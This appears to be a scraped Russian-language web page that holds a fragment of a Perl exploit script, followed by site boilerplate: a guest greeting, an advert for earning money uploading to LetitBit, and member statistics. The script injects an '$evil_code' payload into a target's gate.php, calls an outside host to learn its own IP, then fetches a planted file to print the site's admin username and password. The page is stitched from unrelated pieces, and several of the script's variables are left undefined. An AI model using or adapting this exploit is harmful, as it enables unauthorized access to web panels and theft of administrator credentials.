sub myIP{ my $response = $ua->get('http://ipget.totalh.com/'); if ($response->is_success) { return $response->content; } else { return 0; die $response->status_line; } }
sub explot{ my $req = HTTP::Request->new(POST => $IcePath."gate.php"); $req->content_type('application/x-www-form-urlencoded'); $req->content("a=aaa&b=bbb&c=$evil_code"); my $res = $ua->request($req); }
sub getPass{ $ip = myIP(); explot(); my $response = $ua->get($IcePath."load/".$ip.".php"); if ($response->is_success) { return $response->content; } else { return "Error?!"; } }
$resut = getPass(); print "Admin username and password:\n$resut";
Форма входа
Ваши данные
Привет: Гость
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Вы хотите заработать на LetitBit.net? Тогда вы сможете сделать это на нашем сайте! Пишите нам в форму обратной связи и становитесь Uploader'ом! Зарабатывайте на загрузках своих файлов! Писать здесь
Зарег. на сайте Всего: 607 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0 Из них Администраторов: 3 Модераторов: 0 Проверенных: 3 Обычных юзеров: 600 Забаненных юзеров: 3 Из них Парней: 399 Девушек: 208